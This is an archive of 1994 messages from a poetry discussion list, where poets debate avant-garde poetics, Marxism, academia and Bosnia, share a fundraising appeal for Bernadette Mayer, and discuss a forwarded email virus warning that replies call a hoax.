As if we are in exile, but also at home there. Yes. Giorgio Agamben, discussing the work of Robert Walser, writes:

> The Irreperable is the monogram that Walser's writing engraves into things. Irreperable means that these things are consigned without remedy to their being-thus, that they are precisely and only their *thus* (nothing is more foreign to Walser than the pretense of being other than what one is) [you could add Emerson here, too]; but irreperable also means that for them there is literally no shelter possible, that in their being-thus they are absolutley exposed, absolutely abandoned.

To recognize there is no shelter other than our own responsibility (Agamben says our own "possibility or potentiality") and that neither lamentation nor praise is the issue is to be at home. Otherwise, home turns into in a tank named "Relations of Production" rolling toward Tiananmen Square.

Best,
Mike
[redacted]

↑ Index

34. Mark Wallace
prayer
Mon 5 Dec 1994

I forced my students to have a minute of silent prayer today.

They hated me for it, something I greatly appreciated.

But as to whether it makes a difference...

mark wallace

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35. Jeffrey Timmons
Re: prayer
Mon 5 Dec 1994

On Mon, 5 Dec 1994, Mark Wallace wrote:

> *I forced my students to have a minute of silent prayer today.*
>
> *They hated me for it, something I greatly appreciated.*
>
> *But as to whether it makes a difference...*

Hm.

Jeffrey Timmons

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36. Ron Henry
Re: Shake Those Dirty Hands
Mon 5 Dec 1994

> *One final point, the implicit contrast in Ron's defense*
> *of market coercion (qua human drama) is to academia. Not*
> *overlooking the structural connections between the corporations*
> *and the universities, it does seem worthwhile to point out*
> *the obvious fact that whereas the corporations have *no**
> *interest in Ron's or anyone else's poetic practice, the*
> *universities do (and where that interest is not pursued,*

> *it can at least be raised; which is not possible within the context of Philip Morris, etc.).*

However, for those of us who are employed by academic insitutions to do non-academic work (or at least work not related to our poetic practice), the difference betwen the two brands of corporations is negligible.

And, cynically perhaps, I have to wonder whether large academic/research institutions' interest in "Literature" or "Art" really goes much deeper than the decorative -- do university trustees and administrators see poets (esp. in all the proliferating Creative Writing programs around the U.S.) as much more than status-symbols, like famous works of visual art in lobbies of major corporations or sponsor-blurbs on PBS specials?

With the millions being poured into huge brick biotech and supercomputing facilities rising all around the margins of campus and frequently making national headlines, instances such as Bob Perelman's lecture here last year (attended by 25 people?) or John Ashbery reading this coming Wednesday, seem positively quaint, and hardly something in which the corporate university is "interested."

--Ron Henry ([redacted])
Olin Library, Cornell Univ.

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37. Jeffrey Timmons
Re: politics
Mon 5 Dec 1994

On Sun, 4 Dec 1994, Paul Hoover x350 wrote:

> Amiri Baraka: "So that since the U.S. is an imperialist country, with a monopoly capitalist economic base,the institutions raised on that base, as well as the philosophies expressed within them, are in the main expressions of imperialism."

Yes, but isn't this a much too simple reduction, a too regressive determinism, a too restrictive vulgar marxism? If the capitalist econo-political structures determine expressions congruent to itself where do individual and collective rejections of those expressions come from? Those structures, too, are infused with an--often perverted--forms of political liberty and oppositional expression.

Hoover:

> *It is possible to interpret multiculturalism as further ghettoization funded by the MacArthur and other foundations; it is masked, however, as "community building." Their goal is to bring enough marginal*

> *people into the high-tech middle class that revolution will not seem necessary.*

Yes, perhaps, but this rejection of "community building" and its negative association with separatism--endowed or not--is itself a refusal of the "radical" political impulses motivating multiculturalism--I think of Gloria Anzuldua, here. Infusing extant political structures with excluded "others" is "radical," and if that is not accomplished through "revolution" from without but from within does that make it any less "revolutionary"? This assumes, of course, that rather than infusing extant political structures and parties with "minorities" (a non-essentialized description, if you please) that "difference" actually becomes a part of them. . . .

"La La"
T.S. Eliot

> *We feel responsible for Bosnia because we imagine that we might turn our military dominance toward good works. But we are not at all in the post-colonial age. The control is still there, just not the troops. Nothing happens in Bosnia because powerful interests are a lot more committed to GATT, NAFTA, and consolidating global capitalism. They will deal with Bosnia only when it threatens trade, as we saw in the Gulf War.*

No, I don't feel responsible for Bosnia--or anything else for that matter--because we can exercise military power there as a form of self-gratifying sentimentalized "good works" (no offense intened here). I have always been uncomfortable calling for the use of such violence to influence the situation--as much as I agreed with Bosnia's call to let it defend itself. I believe in responsibly exercising my own ability to link my fate to others--if I were in a situation where I was being shelled I hope someone would seek to help me in what ever way they could. Richard Rorty's Contingency, Irony and Solidarity is useful on this point: suggesting that the basis of human solidarity is actually suffering, that this common experience should be enough to bind us. If I see someone suffering I know it could just as easily be me . . . .

What ever,

Jeffrey Timmons

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38. Christopher Reiner
Bernadette Mayer
Mon 5 Dec 1994

The following letter was recently sent out by The Poetry Center. If this message has already been posted to the list I apologize for the duplication.

November 10, 1994

Dear Friend,

Bernadette Mayer was hospitalized on October 11th for intracerebral bleeding--equivalent to a stroke. She underwent neurosurgery and is presently reovering. At the moment she is unable to speak or write. Due to the seriousness of her illness, it's not clear when she will be completely rehabilitated.

Bernadette needs your support to help pay her rent, phone bills, utilities, any expenses Medicaid won't cover and for the care of her three children. Any financial gift you can contribute will help her through this difficult time and allow Bernadette to concentrate on regaining her health.

An important and repected poet, Bernadette has been involved in the New York City poetry community for many years. She served as director of the Poetry Project at St. Mark's Church from 1980-84 and since then she has lead numerous writing workshops at the Project and at The New School for Social Research.

Bernadette has published fifteen books of poetry and prose, recently, _A Bernadette Mayer Reader_ (New Directions 1992) and _The Desires of Mothers to Please Others in Letters_ (Hard Press 1994).

Gifts to Bernadette'sfund are tax-deductable. Please make contribution checks payable to:

Girono Poetry Systems/The Bernadette Mayer Fund
Giorno Poetry Systems
222 Bowery
New York, NY 10012

Sincerely,

The Poetry Center Staff

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39. Paul Hoover x350
vulgar marxism
Mon 5 Dec 1994

To: Jeffrey Timmons

I thought someone might comment on Baraka's "vulgar marxism." Interesting phrase, "vulgar marxism," suggesting that its basic concepts are to be discredited because we are now so much more sophisticated. Do you imagine that the economic base is NOT a dominant concern? That the United States,

along with G7 (the only "G" force that really matters, with regard to G1/G2 discussion) does NOT manage world affairs?

As for Baraka's fee, it's of course a comment on the state of the world and ironies of value. If the Lilly Foundation has $5,000 for a visiting lecturer/poet, it might as well go to him. There were perhaps 80 people in the auditorium, so the foundation paid about $60 a head. There was, however, a television camera recording the event, conceivably the most important member of the audience. As soon as the applause died down, a young man stood up and began to denounce the hypocrisy of the conference--I believe because he supports "vulgar marxism" and sees that the university sponsorship of such statements as Baraka's makes them absurd. This young man wrote a book called "Bomb the Suburbs." I learned from him earlier that he attended Oberlin as an undergraduate, and something rings absurd about that, too.

The vulgar marxist has been replaced by the chardonnay marxist. In the 80s even revolution went upscale. I'm not saying I'm not part of it; if Baraka is correct, everyone is. Market forces are so convincing that if you produce a ragged-looking literary magazine, as was the style in the late 60s, that too is designed for audience appeal.

One thing for sure: we live in a video serfdom. If you don't "mach schau" (make show), as the early Beatles fans in Berlin demanded of the fledgling group, you're starting to disappear. To quote the character Egon in Ghostbusters, "Text is dead." It's a new marketplace, with new technologies, and this requires a new literature. Those on this listserve group are of the economy that stares into computer screens-- more text oriented. Did you know that for the last two or three years they have had performance poetry events at the Associated Writing Programs conference? This year there's even a "stand up" night.

On the other hand, a more courtly literature still exists, and it is powerful. The real problem is to find a literature of any kind, courtly or vulgar, of intelligence and spirit.

Back in this recent series, Don Byrd made a very good comment about avant-garde poetry being the "mainstream" historically, especially if you begin with romanticism. In a bookstore today, I spent a lot of time reading selections from various poets including one who was a National Book Award winner. It was awfully dreary reading. Embarrassing even. But I could clearly see the truth of Don Byrd's premise.

Paul Hoover ([redacted])

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40. **kat**
Re: Exile on Main Street
Mon 5 Dec 1994

I could write reams about problems with recuperating radicals+forgetting the formidable force of the racist Right, but. . .

For the moment, for the sake of utility and economy, let me add a bit of biblio. to the pointer to the wonderful Lusitania issue.

1). to disabuse one of the "long history of ethnic hatreds," see BOSNIA: A SHORT HISTORY by Noel Malcolm, Papermac (Macmillan, 1994) or THE MUSLIMS OF BOSNIA-HERZEGOVINA, ed., Mark Pinson (Harvard, 1994) 2). artistic and analytic responses, one volume; WHY BOSNIA? WRITINGS ON THE BALKAN WARS, ed. Rabia Ali & Lawrence Lifschultz (Stony Creek, CT, Pamph leteers Press, 1993) 3). for the economic/political history of Yugoslavia breaking up, THE DESTRUCTION OF YUGOSLAVIA, by Branka Magas (Verso, 1993); Magas's essays appeared in New Left Review before the split of that group over Yougslavia; also see AGAINST THE CURRENT #52 for Magas on the Fascist Serbian state. 4). for general treatments of post-Soviet Yugoslavia and the bending of Yugoslavia to Western consumerism and nationalism (not to suggest a causal connection; humphf!), see Stjepan G. Mestrovic's THE BALKANIZATION OF THE WEST: THE CONFLUENCE OF POSTMODERNISM AND POSTCOMMUNISM (Routledge, 199 and Sabrina P. Ramet, SOCIAL CURRENTS IN EASTERN EUROPE (Duke, 1991) Sabrina Ramet, who before a physical change of sex wrote as Pedro Ramet, along with Slavoj Zizek(but different from him in many ways) wrote volumes of analysis and predictions on the results and ramifications of the breakup of Yugo.

There is a great deal to read on this crisis; there is also a great deal more to do. I have the numbers of some folks in UK who are seriously active and engaged as politicians and writers. If anyone is interested, I can add these to the net.

More directly, does anyone know the opera SARAJEVO which had its London--and I believe only--premier this past August. The composer,Nigel Osborne, should be persuaded to launch it here (perhaps funded is a better word/concept here than persuaded). I saw this magnificent opera. It is based on and "samples" Euripides' WOMEN OF TROY and CNN with lots of life in between. Does anyone know about the fate of this opera? Does anyone know how/whether such a project of launching this somewhere here can be/is being undertaken? It isn't, after all, an opera that would benefit from the $$$$ machines needed for Pavarotti, &tc. Anyway, a response to this query would be appreciated, though I am not the one to know the next step in this particular avenue.

Last note, there are several most important and engaging newsboards on the internet re: former Yugoslavia and peace groups that still persist on the ground there. I was in Croatia summer of '93, and I can say that peace is far from assured. In fact, as with Chamberlain in Sudentenland, the cards are set to fall with the appeasements and concessions. Peace does not come from facing down aggression with "neutrality." What to do?

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41. Patrick Phillips

Out/onomous

Mon 5 Dec 1994

I'm a bit curious about something I've picked up as a kind of cerebral distinction (as opposed to actual/real or even possible distinction) between out and autonomous.

It appears that many of us agree that there is no out:

Tom Mandel's:

> *"Outward" i.e. a gesture. there is no outward; every vector has a direction.*

Yet the meta-metaphysics envolved in:

> *perfect is one to whom the entire*
> *world is a place of exile.*

appears to me to be an inverted origin and re-invigorates a kind of clearing, a place where metaphysics can and cannot take place....a straddle....

&

Steve Evan's:

> *My thinking is that the indispensable element of the avant-garde project is not "experiment" so much as what that term presupposes: autonomy.*

and the trenchant:

> *The vacuity of "dropping out" is not proof of the acuity of checking in. Both smack of extreme voluntarism in light of the *structural* exclusions of global capitalism.*

Steve's repositioning of the "avant-garde" project as a social (autonomous) rather than scientific, or theoretical (exterior) is important. However, what I'm not sure of here is the relationship of both "out" to "auto" -nomy in the face of the "structural exclusions of global capitalism."

I've been reading Joan Cock's *The Oppositional Imagination* the last few days, finding myself under the transformative power of a searing critique, and while I don't pretend to be as fluid or nearly as capable as she, I do find many common concerns; one of which I believe would be that it is very hard to speak of "autonomous" or "out" in the above senses.

In the midst of a critique of Said's, Gramschi's, William's and Foucault's models of "dominative power" she writes:

"There is...a vitality to power at the molecular level and a fixity to it at the grand one, so that approaching it theoretically from the bottom is the surer way not to miss its variations, reversals, and diversions. And when it comes to the local detail, one must be ready, if not quite for anything, at least for many unpredictable and surprising things. Whatever the great situation, this particular one, being particular, might bend in all sorts of ways - towards some new and intensified form of the power prevailing on the grand scale, or towards some humbled version of it, or towards its deterioration, or towards its inversion." - p 49

In relation to both Steve and Tom, I'm gleaning two things from this quote:

One, that the propositions of "structural exclusion of global capitalism" and "the world is a place of exile" both in-state forms of world (though geo-physically with "global") that appear on the surface to refute an outside while running the risk of imposing an outside. Both "structural exclusion of global capitalism" and the world of exile seem to run the risk, of proposing an absolute and of reifying hegemony. That in fact "the matrices of transformation" that poetry can involve are "constant modifications" (the *constantly* burning house), both internal and external, "local" and "geo-political" power fluxes which constantly undo the absolute "world", or "globe."

And Two, exile and exclusion are impossible in this undoing and with this impossibility, "out" and "auto," though intended differently, are actually more similar in their exclusivity than not. (In this, there is no "closet" either.)

I'd like to tease this out further but I have to go out and pick up my wife.

Patrick Phillips

↑ Index

42. eric pape
Re: Shake Those Dirty Hands
Mon 5 Dec 1994

Certainly Eagleton's point (and y'all's) is well taken. Which is why the whole sell out question, to corporate america or to academia,is a non-question. Doesn't it

imply at some point we were not all already sold? Mostly we've been engaged in the politics of identity...Does it matter, to use use Ron's perfectly apt metaphor, in what room you stand as the building burns down? What I've been asking is in fact a formal question. Which is, can we imagine a form which resists domination? The answer is of course, as we have all noted here, at length, that it is an impossible question. There is no outside, etc...But just because it is an impossible question, I don't believe that makes it any less important...Perhaps more so. What determines oppositional form? Only if we imagine a constellation of effects (B's word) can we imagine oppositional form. Only if we imagine that there is a within to the art work; a within that functions semi-autonomously, can we imagine an art work that resists incorporation. Because of course never can any art work resist entirely incorporation. There must always be aspects that in effect support domination. The question becomes is there any that are oppositional. We have never been able to imagine totally oppositional art. It never happened. Not even to Milton. The question becomes then not a matter of identity, ie, am I Marxist enough to be a poet, but of form. But we haven't avoided Ron's final image, ie, the distraction in the burning building. By positing only formal resistence, do we not risk Formalism? How great of a risk is that, truly? Also, we have Marjorie's question. If our resistence is not simply a matter of technique, a matter of how we put together our art, then what can we do? The question, also, is impossible, but is the most important question anyone has asked here: What can we do? Thanks, Eric ([redacted])

↑ Index

43. James Sherry

Re: Exile on Main Street

Mon 5 Dec 1994

To Kamenetz' Rimbaud citation I add "Que je suis rentier." Alas for those who'd equate poetry with a humane politics. Considering Whitman's attitude toward Native Americans. Dickinson's difficulty leaving the house. Basho's spying for the emperor. Hafiz sucking up at the court. Of course Pound, Yeats, and Eliot. As Ron points out politics is not where it is represented to be. And further what is error free politics but attitude.

↑ Index

44. James Sherry
Re: Shake Those Dirty Hands
Mon 5 Dec 1994

Steve Evans "well reasoned" response is blistered with the attempt to make himself whole by thinking about it. I think that I and possible Ron although I don't want to speak for him, wish to contrast an exclusionary politics with an inclusive one which we all participate in as Charles Alexander points out. Steve as usual makes excellent points within the confines he has established. My position vis a vis corporations is the recognition that I work for them and that academic life would provide distance from them but does not sever the relationship. How close do you want to get?

↑ Index

45. James Sherry
Re: Exile on Main Street
Mon 5 Dec 1994

Charles Bernstein and I were in Belgrade a few weeks before the civil war broke out. Belgrade has a large mall of coffee houses running down its middle. By day and by night the coffee houses were overflowing with unemployed young men between the ages of 18 & 25 who were talking about how it might be possible to get some money by fightingin this war and old men talking about how it might be possible to use them to do so.

↑ Index

46. James Sherry
Re: Out/onomous
Mon 5 Dec 1994

I quote someone who would not wish to be quoted here. "There is no outside or inside either."

On Mon, 5 Dec 1994, Patrick Phillips wrote:

> *I'm a bit curious about something I've picked up as a kind of cerebral distinction (as opposed to actual/real or even possible distinction) between out and autonomous.*
>
> *It appears that many of us agree that there is no out:*
>
> *Tom Mandel's:*
>
> *"Outward" i.e. a gesture. there is no outward; every vector has a direction.*

Yet the meta-metaphysics envolved in:

perfect is one to whom the entire
world is a place of exile.

appears to me to be an inverted origin and re-invigorates a kind of clearing, a place where metaphysics can and cannot take place....a straddle....

&

Steve Evan's:

My thinking is that the indispensable element of the avant-garde project is not "experiment" so much as what that term presupposes: autonomy.

and the trenchant:

*The vacuity of "dropping out" is not proof of the acuity of checking in. Both smack of extreme voluntarism in light of the *structural* exclusions of global capitalism.*

Steve's repositioning of the "avant-garde" project as a social (autonomous) rather than scientific, or theoretical (exterior) is important. However, what I'm not sure of here is the relationship of both "out" to "auto" -nomy in the face of the "structural exclusions of global capitalism."

*I've been reading Joan Cock's *The Oppositional Imagination* the last few days, finding myself under the transformative power of a searing critique, and while I don't pretend to be as fluid or nearly as capable as she, I do find many common concerns; one of which I believe would be that it is very hard to speak of "autonomous" or "out" in the above senses.*

In the midst of a critique of Said's, Gramschi's, William's and Foucault's models of "dominative power" she writes:

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> *In relation to both Steve and Tom, I'm gleaning two things from this quote:*
>
> *One, that the propositions of "structural exclusion of global capitalism" and "the world is a place of exile" both in-state forms of world (though geo-physically with "global") that appear on the surface to refute an outside while running the risk of imposing an outside. Both "structural exclusion of global capitalism" and the world of exile seem to run the risk, of proposing an absolute and of reifying hegemony. That in fact "the matrices of transformation" that poetry can involve are "constant modifications" (the *constantly* burning house), both internal and external, "local" and "geo-political" power fluxes which constantly undo the absolute "world", or "globe."*
>
> *And Two, exile and exclusion are impossible in this undoing and with this impossibility, "out" and "auto," though intended differently, are actually more similar in their exclusivity than not. (In this, there is no "closet" either.)*
>
> *I'd like to tease this out further but I have to go out and pick up my wife.*
>
> *Patrick Phillips*

↑ Index

47. James Sherry
Re: Shake Those Dirty Hands
Mon 5 Dec 1994

Eric, do what you do. Do.

↑ Index

48. Steve Evans
Virus Warning (Forwarded)
Mon 5 Dec 1994

Many of you have probably been informed of a virus being spread by e-mail through America On Line, but just in case:

If you receive anything from AOL headed "Good Times," do not read or download it:

it is a virus that will erase your hard
drive.

The person who passed this along to me
also mentions a second virus--"xxx-1"--
going around the internet: delete it without
reading also.

Steve

↑ Index

49. Mark Roberts
Re: Virus Warning (Forwarded)
Tue 6 Dec 1994

> *Many of you have probably been informed of*
> *a virus being spread by e-mail through*
> *America On Line, but just in case:*
>
> *If you receive anything from AOL headed*
> *"Good Times," do not read or download it:*
> *it is a virus that will erase your hard*
> *drive.*
>
> *The person who passed this along to me*
> *also mentions a second virus--"xxx-1"--*
> *going around the internet: delete it without*
> *reading also.*
>
> *Steve*

I posted a similiar notice to a local list and I got this response:

****

>From [redacted] Mon Dec 5 14:56:51 1994
Date: Mon, 05 Dec 1994 14:56:08 +1000
From: [redacted] (Sam Chard)
Subject: Re: Fwd: Virus Warning (fwd)
To: Australian Literature Discussion <[redacted]>
Status: R

Howdy

Apparently it's all an enormous hoax

This is probably the 5th message I've had regarding this today...

I do have some info I received which explains why it is impossible to receive virus's via email, but I'll have to look for it... I'll publish it on this list as soon as I find it.

Regards
SAM

******

I don't know about things but maybe there is somebody out there who could comment on these virus warnings.

Mark Roberts
SIS Liaison Officer
Student Information & Systems Office Ph 02 [redacted]
University of NSW Sydney Australia Fax 02 [redacted]

↑ Index

50. braman sandra
Re: Virus Warning (Forwarded)
Tue 6 Dec 1994

It is possible to receive viruses via e-mail. S Braman

↑ Index

51. braman sandra
Re: Out/onomous
Tue 6 Dec 1994

Re the discussion of out and outward -- it may be that today the outside is all of the complexity, wildness, and potentially chaotic effects of the local. The butterfly effect (of chaos theory) as perhaps the most important form of power.... S Braman

↑ Index

52. Ron Silliman
Pinot Blanc Marxism
Tue 6 Dec 1994

Paul Hoover noted that:

>Back in this recent series, Don Byrd made a very good comment about
>avant-garde poetry being the "mainstream" historically, especially if
you
>begin with romanticism.

Marjorie Perloff has made the case for this at length (& depth) with her analysis of the French reading of American poetics. It's still quite true.

And it's disturbing to see that we ourselves sometimes forget this. I remember being furious to see, in the New Princeton Encyclopedia of Poetry and Poetics (in the entry on American Poetry) that Michael Davidson and Albert Gelpi identify "the major trad. of the 1970s and '80s" to be 3 general areas of practice: Ammons, Pinsky, Gluck (Louise not Bob), and Hass being one, Bell, Gallagher, Levine, Wright and Forche being the second, Howard, Merrill and Hecht being the third.

That's disinformation, not just misinformation.

And about as silly as TVF Brogan (one of the volumes two general editors) identifying The New American Poetry as being by Donald HALL, not Don Allen. Or, for that matter, Paul getting the title of Zukofsky's long poem incorrect throughout the Norton Pomo.

If we continue to perpetuate our own marginalisation, it should be for strategic (not merely tactical) reasons. The alternative is just compradore poetics.

↑ Index

53. Eric Selinger
Re: Exile on Main Street
Tue 6 Dec 1994

On Mon, 5 Dec 1994, William Lavender wrote:

> *A poet*
> *recently told me he didn't read poetry for pleasure. "I mean lets face it,"*
> *he said, "when it comes to pleasure, enjoyment, relaxation, I'd rather watch*
> *Terminator." There are pleasures that poetry strives to avoid, to unlearn,*
> *to counter.*
>
> *I don't have any problem with reading poetry out of a sense of duty or whateve*
> *Our only subject here has been ethics. Like the song from my youth said,*
> *"I feel like I owe it to someone."*

(Raised eyebrow): Fascinating, Captain. First, we have the equation of pleasure and enjoyment with relaxation--not what my friends the rock-climbers describe, or the rock and roll guitarists when they're licking up their chops. Notice, too, that there's no pleasure in duty, or in ethics, in paying your dues (to whom, exactly?). No one ever really _enjoyed_ dishing soup to the homeless, or calling for US intervention into Spain / Bosnia, or unmasking the "illusions of pleasure" that capitalism has purportedly foisted upon us (cf. McGann, in that old essay on Politics & Poetic Value). No: pleasure is what happens when you turn off your forebrain and watch Arnold blow away good guys, bad guys, til'

you've had your share of biochemical thrills. Then it's back to the serious business of ethics, our only subject here.

I just don't buy it, finally. I think that the pleasure / ethics split is bogus and reductive--the Victorians knew better. So did the Greeks. I think the equation of pleasure with ["mindless"] relaxation is, too. Maybe this just means that I'd rather curl up with Mirabell than Mad Max, or spank a monkey that's been dead since, oh, Lautreamont. But I don't think so. There's a knee-jerk anhedonia in critical discourse these days that seems to me as questionable as the use of words like, oh, "experimental," and that could use the same sort of theoretical and historical unpacking. It seems (pause) illogical.

Aye, Twould be interesting to see / when Pleasure was declared to be / the enemy of Poetry--or, at least, given its purgative, medicinal function, when Poetry became the enema of pleasure.

Damnit, Jim,
I'm a doctor, not a dominatrix!
I can't get combine instruction with delight.
I'd lose my license-- [Cut from Mr. Bones
in Sickbay to the pixilated glow
of twisting plots in the Transporter Room,
and / or Metaphorical Stanza, if
we have the budget for bilingual puns
in this week's (here's another:) episode.

"Ambassador Wilde! What beams you into town?"
"Oh, pleasure, pleasure. What else should bring one anywhere?"

EMS

↑ Index

54. Ron Silliman
Re: Exile on Main Street
Tue 6 Dec 1994

But you would make such a great dominatrix!

↑ Index

55. Charles Bernstein
NEW: Ex-peri-mints
Tue 6 Dec 1994

I am a G4 in the textual body of a G3. For roughly twenty years I have sought psychosurgical intervention for my problem. Now, with the ever-collapsing

interior folds of cyberspace, I can begin to see the damp at the end of the tunnel ...

In L=A=N=G=U=A=G=E #3 (and later The L=A=N=G=U=A=G=E Book), we printed Bernadette Mayer's compilation of writing "experiments". Over the years I collected additional experiments and changed some on the original list to reflect a somewhat different orientation. Given the conversation here lately, or not so lately perhaps (it just has taken me a long time to get this out), I hardly need to note that calling such lists as this "experiments" is tendentious. Perhaps it would be more accurate to call the list a series of nontraditional poetic forms. Experiments, I suppose, is the term that gets used for such lists to contrast with the ubiquitous books of writing "exercises" for creative writing class; in this sense, "experiments" are exercises with different poetic motivations and lineages: and one which, I would say, thinking of Eric Selinger's comments just now, do emphasize pleasure, or anyway the fun of writing. The common dislike of the term "experimental poetry" can, I think, be traced to such work being disparaged as mere "exercises", preliminary and incidental to the "actual work" of poetry. In this way, both "exercise" and "experiment" are deployed, positively and negatively, against assumptions about intentionality, related to the that other binary pair, process versus product.

I use the "Experiments" list in my work as a teacher. (I used to work for corporations, but now I {just} work for the state.) Indeed the first class I ever taught at a university (UCSD) had the official title "experimental writing", which was appealing in that "poetry", that vexatious term, didn't appear (the other class I taught that quarter was entitled "advanced poetry" for which, of course, I designed a completely different syllabus). Nowadays I use the "Experiments" list not so much for teaching writing, but for teaching reading, that is, some of the "experiments" work as methods for "reading" through poems and others work as ways of approaching, if not imitating, certain poetic methods. I bill my classes these days as "reading workshops" and refer to working with this list as doing "something like lab work", shamelessly, and falsely, appealing to if not the prestige of science perhaps the acceptance by students that in science they will be dealing with methodology and form -- and also, obviously, to encourage a different way to think about reading poetry, linking two things most students don't associate -- scientific experiment and poetry. Actually, I distribute a shorter version of this list for "reading through" -- the ones that involve using prior texts, but it will be apparent which ones will work for this and which not.

********((((((((((((((((((((((()))))))))))))))))))))))))**********

Anyone notice this full-page statement opening the new Exact Change catalog?:

"RECENTLY a major publisher brought out a huge anthology of contemporary American poetry and title it 'post-modern' for no better reason that the that the term 'avant-garde' sounded too old-hat and the term 'experimental' seemed to connote failure. Well, it's time to revive these two perfectly good adjectives and take back our modernism from the learned bores of postmodernism. Besides, it never really went away, you know, it's here with us, superbly alive and well in the _Exact Change Yearbook_."

--John Ashbery

Perhaps "our modernism" is something like Ashbery's often quoted "the other tradition", a.k.a Don Byrd's mainstream, a.k.a. radical modernism, a.k.a. formally innovative poetry, a.k.a. "that poetry of which we speak" ... Exact Change runs a striking half-page color ad (black and white drop out lettering on red background) in the new New York Review of Books headlined "Classics of Experimental Literature" and featuring books by Aragon, Roussel, Lautreamont, Stein, Cage, de Chirico, Soupault, Appolinaire, Kafka. (I have most of these and highly recommend the entire set.) I haven't seen the Yearbook yet, by the way, but it is edited by Peter Gizzi, & includes a Michael Palmer feature, and a CD. $35 from Exact Change, Box 1917, Boston, Mass. 02205 (who'll also send you the catalog -- or maybe we can get an electronic version to post -- are you listening Peter?). The term "experimental" does not appear in the Exact Change catalog, except in Ashbery's inside front cover statement. This use in the ad suggests an active, indeed commercial sense of the term, at least in the (considerable) judgement of Exact Change publisher Damon Krukowski. Of course one could easily note that "experimental classics" is a touch, well, oxymoronic; but let she or he whose rhetoric is without oxymoron complain, I certainly am in no position to. In contexts like this, "classic" is a way to undercut the assumption that "new" or "experimental" works are undifferentiatable in respect to quality -- how can you tell one from another. (Pay attention is one possible answer.) New Classics plays off the sense of "classic" as having enduring value against the sense of "classic" as being traditional: I'd translate the expression as, something like, a work of untraditional value, valuable, in part, because it is untraditional or unconventional, but not exclusively for this reason. I would say the most common, and empty, charges against nonconventional literary works is that they are _only_ about their nonconventionality or antitraditionality or, so the refrain goes, only about "language"; as if one breaks forms or finds new one for sake of that activity rather than to be able to make articulations not otherwise possible. I would say such comments (and they are just as frequent in the alternative poetry worlds as in the mainstreams) mask the fact that conventional and traditional literary writing reinscribe the meanings implicit in their forms but that poetry is not limited to this activity of reinscription (lovely

or comforting or pleasurable as it sometimes may be). There may be no pure outside (chorus: "no pure outside" "no pure outside") but there isn't no pure inside either (chorus: "no inside ether, no inside ether"). -- I remember going to some marketing meetings when I was working for _Modern Medicine_ in which they told us the readers (all physicians) were most likely to read an article if the word "new" was in the title. This will come as no surprise to any who drinks New Coke in their New Chevrolet, even if we are still bedeviled by the fact that Madison Avenue understands "make it new" quite well -- yet, against all odds, I would still say, _understands it differently_ . In _Modern Medicine_ the spin had a different moral imperative: "new cure for", "new protocol for" etc., so that the audience felt compelled to read these items in order to be competent, or, negatively, in order not to be sued; at the meeting we were urged to say new whether or not the item was new. This works because there "actually" are new developments in medicine with which physicians need to keep up: "new" is open to manipulation not because it is meaningless but because it is a marker of "practical" value. To say that marketing capitalizes on the claim of the new does not mean that newness is an empty claim: the difference between Madison Avenue's claim's and poetry's practice is one of motivation and ethics. SO, echoing Williams, I would say there is still news from poetry, and that women and men do die from the lack of what is found there (but not only there and it is surely not the only thing they die from the lack of).

==========@@@

level playing field? Let me close with one more observation: three main yarns/braids (which I propose as an alternative term to 'threads' in cyberspeak) on the Poetics list have revolved around questions of the configuration of poets and/or poems: community in the spring, anthologies in the summer, labels in the fall. Now with winter, we seem to be focussing on war: the destruction of some communities by other communities.

##############################<><><>

56. Marjorie Perloff
Re: Exile on Main Street
Tue 6 Dec 1994

BRAVO to Kathryne Lindberg for her wonderfully informative and helpful bibliography on Bosnia. I don't know the opera SARAJEVO but will ask Carey (daughter) who runs ACT and knows these things.

Anyway, I am more grateful to K. than I can say. I was just about to give up, after reading the really frightening exchange on vulgar Marxists versus Chardonnay Marxists and other similar items. This is not an issue of yet again discussing "late Monopology capitalism," now a fact of life around the globe anyway, but to discuss what to do about Nationalist and religious wars that practically recall the Crusades, not to mention Hitler. It's not a question of whether Bosnia is in our "sphere of interest" but what will happen if we don't intervene now--and should have intervened years ago. The Serbs (total thughs and, incidentally, from what Dubravka tells me, overtly in favor of a Male, authoritarian, "back to the soil" literature movement, given the signal that they can do whatever they damn please in Bosnia, will now continue on to Hungary and/or Albania. It's just a matter of time. Is this our concern? Well, was Chkekoslovakia our concern in 1939? Poland? do we really not care what happens in Europe?

Can we do anything? Yes, first of all inform yourselves (thank you Kathryne for the list) and stop talking about our own petty little concerns in the university or whether or not Imamu Baraka deserves $5,000 and write to our congressmen, draft ad campaigns, etc. This is REAL not one more hypothetical debate between various Marxisms.

Marjorie Perloff

↑ Index

57. Rodger Kamenetz
Re: Exile on Main Street
Tue 6 Dec 1994

To James Sherry-- I certainly would not equate poetry with humane politics. My point was that the politics of our poetry scenes is no better than the politics we are complaining about. Judging Whitman for his blind spots is using blinding 20-20 hindsight. Who among us would survive that judgment, if we had the knack of turning it on ourselves?I suppose we can be no kinder to the poets of the past than we are to our rival contemporaries : purges all around, off with their heads. Rodger Kamenetz [redacted]

↑ Index

58. Jeffrey Timmons
Re: Out/onomous
Tue 6 Dec 1994

On Tue, 6 Dec 1994, braman sandra wrote:

> *Re the discussion of out and outward -- it may be that today the outside is all of the complexity, wildness, and potentially chaotic effects of the local. The butterfly effect (of chaos theory) as perhaps the most important form of power....*

Which would suggest that as ineffectual as a butterfly flapping its wings the artist/intellectual/whatever has about as much influence. . . and that it would be silly not to recognize it. Pape's revision of Perloff's question is the important one: what do we do? We talk. . . and talk, and that is what we do. Do. And that flapping is as ineffectual/powerful as the butterfly's wings. . . perhaps poetry is not a "humanizing" or even "civilizing" force (which I don't think it necessarily is) but it does exert influence/power and the ethics of that power are recognizable. Is what we do simply "entertainment?" Or idle chatter? I'd be the last to say the artist/intellectual knows any better than the next person, but isn't there something as pernicious in abandoning that potential as in misusing it? Geez, I'm not a humanist, please. . . . But seriously (as if), our chatter is not as subsumed within systems of capital as it is portrayed as being. I work within the university because it allows me freedom (no matter how limited or limiting) to think in ways that seem "oppositional"--whereas if I worked at a job for a company I would have to think what it wanted me to. Little difference some of you are saying; well, that's not how I experience it. Would we be having this conversation behind the counter at Taco Bell? "Two tostadas, one seven layer, pintos and cheese, and a medium Pepsi--to go."

Jeffrey Timmons

↑ Index

59. Charles Bernstein
Experiments List
Tue 6 Dec 1994

EXPERIMENTS

1. Homolinguistic translation: Take a poem (someone else's then your own) and translate it "English to English" by substituting word for word, phrase for phrase, line for line, "free" translation as response to each phrase or sentence. (Cf: Six Fillious by nichol, McCaffery, Fillious, Brecht, Higgins, Roth.)

